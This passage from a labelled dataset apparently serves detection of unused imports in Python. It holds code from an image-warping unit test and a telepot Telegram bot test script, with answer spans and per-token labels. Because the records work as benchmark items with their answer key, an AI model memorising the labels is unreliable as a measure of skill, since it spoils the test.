"content": " def test_basic_pwa(self):\n data_tuples = read_images_and_landmarks(self.data_dir)\n im0, lms0 = data_tuples[0] \n tri0 = delaunay(lms0)\n im0 = draw_tri(im0, lms0, tri0) \n im1, lms1 = data_tuples[1] \n tri1 = delaunay(lms1)\n im1 = draw_tri(im1, lms1, tri1)\n im1to0 = pwa.warpTriangle(im1, \n lms1[:, [1, 0]], lms0[:, [1, 0]],\n tri1, im0.shape)\n implot([im0, im1, im1to0])",
"metadata": "root.PWATest.test_basic_pwa",
"header": "['class', 'PWATest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 17
}
]
| [
{
"span": "import random",
"start_line": 2,
"start_column": 0,
"end_line": 2,
"end_column": 13
},
{
"span": "from tests.common import interactive, data_dir_path",
"start_line": 7,
"start_column": 0,
"end_line": 7,
"end_column": 51
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"\\u\\u",
"future\\u\\u_",
"import_",
"division_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"random_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"unittest_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"pw",
"a_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"mas",
"que_",
"._",
"utils_",
"import_",
"impl",
"ot_",
",_",
"dela",
"una",
"y_",
",_",
"draw",
"\\u",
"tri_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"tests_",
"._",
"common_",
"import_",
"read",
"\\u",
"images",
"\\u",
"and",
"\\u",
"landmarks",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"tests_",
"._",
"common_",
"import_",
"interactive_",
",_",
"data\\u",
"dir\\u",
"path_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"PW",
"AT",
"est_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"PW",
"AT",
"est_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"set",
"Up_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"data\\u",
"dir_",
"=_",
"data\\u",
"dir\\u",
"path_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"PW",
"AT",
"est_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"tear",
"Down_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"PW",
"AT",
"est_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"basic",
"\\u",
"pw",
"a_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"data\\u",
"tuples_",
"=_",
"read",
"\\u",
"images",
"\\u",
"and",
"\\u",
"landmarks",
"_",
"(_",
"self_",
"._",
"data\\u",
"dir_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"im",
"0_",
",_",
"lm",
"s0_",
"=_",
"data\\u",
"tuples_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"tri",
"0_",
"=_",
"dela",
"una",
"y_",
"(_",
"lm",
"s0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"im",
"0_",
"=_",
"draw",
"\\u",
"tri_",
"(_",
"im",
"0_",
",_",
"lm",
"s0_",
",_",
"tri",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"im",
"1_",
",_",
"lm",
"s1_",
"=_",
"data\\u",
"tuples_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"tri",
"1_",
"=_",
"dela",
"una",
"y_",
"(_",
"lm",
"s1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"im",
"1_",
"=_",
"draw",
"\\u",
"tri_",
"(_",
"im",
"1_",
",_",
"lm",
"s1_",
",_",
"tri",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"im",
"1",
"to",
"0_",
"=_",
"pw",
"a_",
"._",
"warp",
"Triangle",
"_",
"(_",
"im",
"1_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"lm",
"s1_",
"[_",
":_",
",_",
"[_",
"1_",
",_",
"0_",
"]_",
"]_",
",_",
"lm",
"s0_",
"[_",
":_",
",_",
"[_",
"1_",
",_",
"0_",
"]_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"tri",
"1_",
",_",
"im",
"0_",
"._",
"shape_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"impl",
"ot_",
"(_",
"[_",
"im",
"0_",
",_",
"im",
"1_",
",_",
"im",
"1",
"to",
"0_",
"]_",
")_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | nickoala/telepot/test/test27_updates.py | [
{
"content": "# coding=utf8\n\nimport time\nimport threading\nimport pprint\nimport sys\nimport traceback\nimport telepot\nimport telepot.namedtuple\n\n\"\"\"\nThis script tests:\n- receiving all types of messages, by asking user to produce each\n\nRun it by:\n$ python2.7 test.py <token> <user_id>\n\nIt will assume the bot identified by <token>, and only communicate with the user identified by <user_id>.\n\nIf you don't know your user id, run:\n$ python test.py <token> 0\n\nAnd send it a message anyway. It will print out your user id as an unauthorized user.\nCtrl-C to kill it, then run the proper command again.\n\"\"\"\n\n\n\nexpected_content_type = None\ncontent_type_iterator = iter([\n 'text', 'voice', 'sticker', 'photo', 'audio' ,'document', 'video', 'contact', 'location',\n 'new_chat_member', 'new_chat_title', 'new_chat_photo', 'delete_chat_photo', 'left_chat_member'\n])\n\n\n\nTOKEN = sys.argv[1]\nUSER_ID = long(sys.argv[2])\n\nbot = telepot.Bot(TOKEN)\n\nexpected_content_type = content_type_iterator.next()\nbot.sendMessage(USER_ID, 'Please give me a %s.' % expected_content_type)\n\nbot.message_loop(see_every_content_types, run_forever=True)\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "def equivalent(data, nt):\n if type(data) is dict:\n keys = data.keys()\n\n # number of dictionary keys == number of non-None values in namedtuple?\n if len(keys) != len([f for f in nt._fields if getattr(nt, f) is not None]):\n return False\n\n # map `from` to `from_`\n fields = list(map(lambda k: k+'_' if k in ['from'] else k, keys))\n\n return all(map(equivalent, [data[k] for k in keys], [getattr(nt, f) for f in fields]))\n elif type(data) is list:\n return all(map(equivalent, data, nt))\n else:\n return data==nt",
"metadata": "root.equivalent",
"header": "['module', '___EOS___']",
"index": 26
},
{
"content": "def examine(result, type):\n try:\n print 'Examining %s ......' % type\n\n nt = type(**result)\n assert equivalent(result, nt), 'Not equivalent:::::::::::::::\\n%s\\n::::::::::::::::\\n%s' % (result, nt)\n\n pprint.pprint(result)\n pprint.pprint(nt)\n print\n except AssertionError:\n traceback.print_exc()\n answer = raw_input('Do you want to continue? [y] ')\n if answer != 'y':\n exit(1)",
"metadata": "root.examine",
"header": "['module', '___EOS___']",
"index": 43
},
{
"content": "def see_every_content_types(msg):\n global expected_content_type, content_type_iterator\n\n flavor = telepot.flavor(msg)\n\n if flavor == 'chat':\n content_type, chat_type, chat_id = telepot.glance(msg)\n from_id = msg['from']['id']\n\n if chat_id != USER_ID and from_id != USER_ID:\n print 'Unauthorized user:', chat_id, from_id\n return\n\n examine(msg, telepot.namedtuple.Message)\n try:\n if content_type == expected_content_type:\n expected_content_type = content_type_iterator.next()\n bot.sendMessage(chat_id, 'Please give me a %s.' % expected_content_type)\n else:\n bot.sendMessage(chat_id, 'It is not a %s. Please give me a %s, please.' % (expected_content_type, expected_content_type))\n except StopIteration:\n # reply to sender because I am kicked from group already\n bot.sendMessage(from_id, 'Thank you. I am done.')\n\n else:\n raise telepot.BadFlavor(msg)",
"metadata": "root.see_every_content_types",
"header": "['module', '___EOS___']",
"index": 65
}
]
| [
{
"span": "import time",
"start_line": 2,
"start_column": 0,
"end_line": 2,
"end_column": 11
},
{
"span": "import threading",
"start_line": 3,
"start_column": 0,
"end_line": 3,
"end_column": 16
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#",
" ",
"codi",
"ng",
"=",
"utf8_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"time_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"threading_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"pprint_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"sys_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"traceback_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"telep",
"ot_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"telep",
"ot_",
"._",
"namedtuple_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"\"\"",
"\\",
"10",
";",
"Thi",
"s",
" ",
"script",
" ",
"tests",
":",
"\\",
"10",
";",
"-",
" ",
"receiv",
"ing",
" ",
"all",
" ",
"types",
" ",
"of",
" ",
"message",
"s",
",",
" ",
"by",
" ",
"ask",
"ing",
" ",
"user",
" ",
"to",
" ",
"produce",
" ",
"each",
"\\",
"10",
";",
"\\",
"10",
";",
"Run",
" ",
"it",
" ",
"by",
":",
"\\",
"10",
";",
"$",
" ",
"python",
"2.7",
" ",
"test",
".",
"py",
" ",
"<",
"token",
">",
" ",
"<",
"user",
"\\u",
"id",
">",
"\\",
"10",
";",
"\\",
"10",
";",
"It",
" ",
"will",
" ",
"assume",
" ",
"the",
" ",
"bot",
" ",
"identifi",
"ed",
" ",
"by",
" ",
"<",
"token",
">",
",",
" ",
"and",
" ",
"only",
" ",
"communi",
"cate",
" ",
"with",
" ",
"the",
" ",
"user",
" ",
"identifi",
"ed",
" ",
"by",
" ",
"<",
"user",
"\\u",
"id",
">.",
"\\",
"10",
";",
"\\",
"10",
";",
"If",
" ",
"you",
" ",
"don",
"'",
"t",
" ",
"know",
" ",
"your",
" ",
"user",
" ",
"id",
",",
" ",
"run",
":",
"\\",
"10",
";",
"$",
" ",
"python",
" ",
"test",
".",
"py",
" ",
"<",
"token",
">",
" ",
"0",
"\\",
"10",
";",
"\\",
"10",
";",
"And",
" ",
"send",
" ",
"it",
" ",
"a",
" ",
"message",
" ",
"anyway",
".",
" ",
"It",
" ",
"will",
" ",
"print",
" ",
"out",
" ",
"your",
" ",
"user",
" ",
"id",
" ",
"as",
" ",
"an",
" ",
"unauthorized",
" ",
"user",
".",
"\\",
"10",
";",
"Ctrl",
"-",
"C",
" ",
"to",
" ",
"kill",
" ",
"it",
",",
" ",
"then",
" ",
"run",
" ",
"the",
" ",
"proper",
" ",
"command",
" ",
"again",
".",
"\\",
"10",
";\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"expected",
"\\u",
"content",
"\\u",
"type_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"content",
"\\u",
"type",
"\\u",
"iterator_",
"=_",
"iter_",
"(_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"text",
"'_",
",_",
"'",
"voice",
"'_",
",_",
"'",
"sticke",
"r",
"'_",
",_",
"'",
"photo",
"'_",
",_",
"'",
"audio",
"'_",
",_",
"'",
"document",
"'_",
",_",
"'",
"video",
"'_",
",_",
"'",
"contact",
"'_",
",_",
"'",
"location",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"new",
"\\u",
"chat",
"\\u",
"member",
"'_",
",_",
"'",
"new",
"\\u",
"chat",
"\\u",
"title",
"'_",
",_",
"'",
"new",
"\\u",
"chat",
"\\u",
"photo",
"'_",
",_",
"'",
"delete",
"\\u",
"chat",
"\\u",
"photo",
"'_",
",_",
"'",
"left",
"\\u",
"chat",
"\\u",
"member",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"TOKEN_",
"=_",
"sys_",
"._",
"argv_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"USER",
"\\u",
"ID_",
"=_",
"long_",
"(_",
"sys_",
"._",
"argv_",
"[_",
"2_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"bot_",
"=_",
"telep",
"ot_",
"._",
"Bot_",
"(_",
"TOKEN_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"expected",
"\\u",
"content",
"\\u",
"type_",
"=_",
"content",
"\\u",
"type",
"\\u",
"iterator_",
"._",
"next_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"bot_",
"._",
"send",
"Message_",
"(_",
"USER",
"\\u",
"ID_",
",_",
"'",
"Ple",
"ase",
" ",
"give",
" ",
"me",
" ",
"a",
" ",
"%",
"s",
".'_",
"%_",
"expected",
"\\u",
"content",
"\\u",
"type_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"bot_",
"._",
"message",
"\\u",
"loop_",
"(_",
"see",
"\\u",
"every",
"\\u",
"content",
"\\u",
"types_",
",_",
"run",
"\\u",
"forever_",
"=_",
"True_",
")_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"equivalent",
"_",
"(_",
"data_",
",_",
"nt_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"type_",
"(_",
"data_",
")_",
"is_",
"dict_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"keys_",
"=_",
"data_",
"._",
"keys_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"number",
" ",
"of",
" ",
"dictionar",
"y",
" ",
"keys",
" ",
"==",
" ",
"number",
" ",
"of",
" ",
"non",
"-",
"Non",
"e",
" ",
"values",
" ",
"in",
" ",
"namedtupl",
"e",
"?",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"len_",
"(_",
"keys_",
")_",
"!=_",
"len_",
"(_",
"[_",
"f_",
"for_",
"f_",
"in_",
"nt_",
"._",
"\\u",
"fields_",
"if_",
"getattr_",
"(_",
"nt_",
",_",
"f_",
")_",
"is_",
"not_",
"None_",
"]_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"map",
" ",
"`",
"from",
"`",
" ",
"to",
" ",
"`",
"from",
"\\u`",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"fields_",
"=_",
"list_",
"(_",
"map_",
"(_",
"lambda_",
"k_",
":_",
"k_",
"+_",
"'\\u'_",
"if_",
"k_",
"in_",
"[_",
"'",
"from",
"'_",
"]_",
"else_",
"k_",
",_",
"keys_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"return_",
"all_",
"(_",
"map_",
"(_",
"equivalent",
"_",
",_",
"[_",
"data_",
"[_",
"k_",
"]_",
"for_",
"k_",
"in_",
"keys_",
"]_",
",_",
"[_",
"getattr_",
"(_",
"nt_",
",_",
"f_",
")_",
"for_",
"f_",
"in_",
"fields_",
"]_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"type_",
"(_",
"data_",
")_",
"is_",
"list_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"all_",
"(_",
"map_",
"(_",
"equivalent",
"_",
",_",
"data_",
",_",
"nt_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"data_",
"==_",
"nt_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"examine",
"_",
"(_",
"result_",
",_",
"type_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"'",
"Exam",
"inin",
"g",
" ",
"%",
"s",
" ",
"......",
"'_",
"%_",
"type_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"nt_",
"=_",
"type_",
"(_",
"**_",
"result_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"equivalent",
"_",
"(_",
"result_",
",_",
"nt_",
")_",
",_",
"'",
"Not",
" ",
"equivalent",
"::::::",
"::::::",
":::",
"\\\\",
"n",
"%",
"s",
"\\\\",
"n",
"::::::",
"::::::",
":::",
":\\\\",
"n",
"%",
"s",
"'_",
"%_",
"(_",
"result_",
",_",
"nt_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"pprint_",
"._",
"pprint_",
"(_",
"result_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"pprint_",
"._",
"pprint_",
"(_",
"nt_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Assert",
"ion",
"Error_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"traceback_",
"._",
"print",
"\\u",
"exc_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"answer_",
"=_",
"raw",
"\\u",
"input_",
"(_",
"'",
"Do",
" ",
"you",
" ",
"want",
" ",
"to",
" ",
"continue",
"?",
" ",
"[",
"y",
"]",
" ",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"answer_",
"!=_",
"'",
"y",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"exit_",
"(_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"see",
"\\u",
"every",
"\\u",
"content",
"\\u",
"types_",
"(_",
"msg_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"global_",
"expected",
"\\u",
"content",
"\\u",
"type_",
",_",
"content",
"\\u",
"type",
"\\u",
"iterator_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"flavor_",
"=_",
"telep",
"ot_",
"._",
"flavor_",
"(_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"flavor_",
"==_",
"'",
"chat",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"content",
"\\u",
"type_",
",_",
"chat",
"\\u",
"type_",
",_",
"chat",
"\\u",
"id_",
"=_",
"telep",
"ot_",
"._",
"glance_",
"(_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from",
"\\u",
"id_",
"=_",
"msg_",
"[_",
"'",
"from",
"'_",
"]_",
"[_",
"'",
"id",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"chat",
"\\u",
"id_",
"!=_",
"USER",
"\\u",
"ID_",
"and_",
"from",
"\\u",
"id_",
"!=_",
"USER",
"\\u",
"ID_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"'",
"Una",
"uthor",
"ize",
"d",
" ",
"user",
":'_",
",_",
"chat",
"\\u",
"id_",
",_",
"from",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"examine",
"_",
"(_",
"msg_",
",_",
"telep",
"ot_",
"._",
"namedtuple_",
"._",
"Message_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"content",
"\\u",
"type_",
"==_",
"expected",
"\\u",
"content",
"\\u",
"type_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"expected",
"\\u",
"content",
"\\u",
"type_",
"=_",
"content",
"\\u",
"type",
"\\u",
"iterator_",
"._",
"next_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"bot_",
"._",
"send",
"Message_",
"(_",
"chat",
"\\u",
"id_",
",_",
"'",
"Ple",
"ase",
" ",
"give",
" ",
"me",
" ",
"a",
" ",
"%",
"s",
".'_",
"%_",
"expected",
"\\u",
"content",
"\\u",
"type_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"bot_",
"._",
"send",
"Message_",
"(_",
"chat",
"\\u",
"id_",
",_",
"'",
"It",
" ",
"is",
" ",
"not",
" ",
"a",
" ",
"%",
"s",
".",
" ",
"Ple",
"ase",
" ",
"give",
" ",
"me",
" ",
"a",
" ",
"%",
"s",
",",
" ",
"plea",
"se",
".'_",
"%_",
"(_",
"expected",
"\\u",
"content",
"\\u",
"type_",
",_",
"expected",
"\\u",
"content",
"\\u",
"type_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Sto",
"p",
"Iteration_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"repl",
"y",
" ",
"to",
" ",
"sender",
" ",
"bec",
"aus",
"e",
" ",
"I",
" ",
"am",
" ",
"kick",
"ed",
" ",
"from",
" ",
"group",
" ",
"alr",
"ead",
"y_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"bot_",
"._",
"send",
"Message_",
"(_",
"from",
"\\u",
"id_",
",_",
"'",
"Than",
"k",
" ",
"you",
".",
" ",
"I",
" ",
"am",
" ",
"don",
"e",
".'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"telep",
"ot_",
"._",
"Ba",
"d",
"Flavor_",
"(_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
0,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
